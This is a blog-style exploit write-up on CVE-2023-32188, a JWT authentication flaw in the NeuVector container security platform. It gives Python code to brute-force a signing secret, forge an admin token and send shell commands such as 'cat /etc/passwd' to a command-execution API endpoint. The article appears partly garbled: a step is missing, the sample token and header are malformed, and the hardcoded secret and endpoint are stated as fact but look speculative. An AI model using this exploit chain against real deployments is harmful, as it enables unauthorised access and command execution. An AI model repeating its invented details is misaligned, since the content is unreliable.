CVE-2023-32188 - How NeuVector’s JWT Vulnerability Can Lead to RCE—A Deep Dive
CVE-2023-32188 is a critical vulnerability that surfaced in NeuVector, a popular container security platform. This bug revolves around how NeuVector handled JWT (JSON Web Token) authentication. By reverse engineering the token, attackers can forge a valid NeuVector token, escalating their privileges and possibly gaining Remote Code Execution (RCE).
In this article, we’ll break down the vulnerability, show step-by-step how it works, and provide exploit details—with code. Whether you’re a beginner or a pro, this guide will be easy to follow.
What is NeuVector and Why JWTs Matter
NeuVector provides security for containerized environments like Kubernetes. To manage these environments, it uses Manager and API services, both of which rely heavily on JWT tokens for authentication.
A JWT is a compact, URL-safe means of representing claims that are transferred between two parties. Ideally, the integrity and authenticity of a JWT are protected via a secret signing key.
However, NeuVector’s implementation left the door wide open...
The Guts of CVE-2023-32188
When analyzing the NeuVector authentication mechanism, it was found that the JWT tokens could be easily reverse engineered. The main culprits:
Unsigned or weakly signed tokens.
Together, these issues mean a bad actor can forge a valid token simply by knowing—or guessing—the secret, or by exploiting the weak verification.
Step 1: Get a JWT Token
First, an attacker must get a copy of a real JWT token. This can be done by intercepting a valid request, social engineering, or using weak API endpoints.
Example JWT token (base64 encoded parts)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibmV1dmVjdG9yLWFkbWluIn.eXYe1Qd9RZPJRa16TlsXkTGIp8THpVrM59JCqgS4G3Q
`json
{
"typ": "JWT"
}
`json
{
"user": "neuvector-admin"
}
Step 3: Recover (or Guess) the Secret
Here’s the trick: NeuVector (before patch) used a hardcoded secret or a very simple password for signing tokens (like neuvector-secret). Let's brute-force it using a simple Python script:
import jwt
# Known JWT parts
token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibmV1dmVjdG9yLWFkbWluIn.eXYe1Qd9RZPJRa16TlsXkTGIp8THpVrM59JCqgS4G3Q'
# Try common secrets
for secret in ['neuvector-secret', 'secret', 'password', 'admin']:
try:
payload = jwt.decode(token, secret, algorithms=["HS256"])
print(f"Success! Secret is: {secret}, payload: {payload}")
except Exception as e:
pass
After finding the secret, create a forged token with elevated privileges
import jwt
payload = {"user": "neuvector-admin", "role": "admin"} # Add anything needed
token = jwt.encode(payload, 'neuvector-secret', algorithm="HS256")
print(token)
With this token, you can call privileged NeuVector API endpoints. Examples
curl -H "Authorization: Bearer <fake_token>" https://neuvector-api.example.com/v1/system/commands -d '{"cmd": "cat /etc/passwd"}'
If the NeuVector Manager had the ability to execute arbitrary commands (for example, via poorly protected diagnostics endpoints), this could lead directly to RCE.
Here's a quick proof-of-concept that chains it all together
import jwt
import requests
# Step 1: Forge token
payload = {"user": "neuvector-admin", "role": "admin"}
token = jwt.encode(payload, 'neuvector-secret', algorithm="HS256")
# Step 2: Exploit endpoint (example URL)
headers = {'Authorization': f"Bearer {token}"}
data = {"cmd": "id"}
response = requests.post('https://neuvector-api.example.com/v1/system/commands', headers=headers, json=data)
print(response.text)
References
- CVE-2023-32188 at NVD
- NeuVector GitHub Security Advisory
- JWT Best Practices
Final Words
This vulnerability is a classic example of why implementation details matter, not just cryptographic algorithms. A hardcoded or weak secret turns JWT into a free ticket for attackers. If you use NeuVector, patch now, and always treat secrets seriously.
Security is not just about using the right tools—it’s about using them correctly.
Timeline
Published on: 10/16/2024 09:15:03 UTC
Last modified on: 10/16/2024 16:38:14 UTC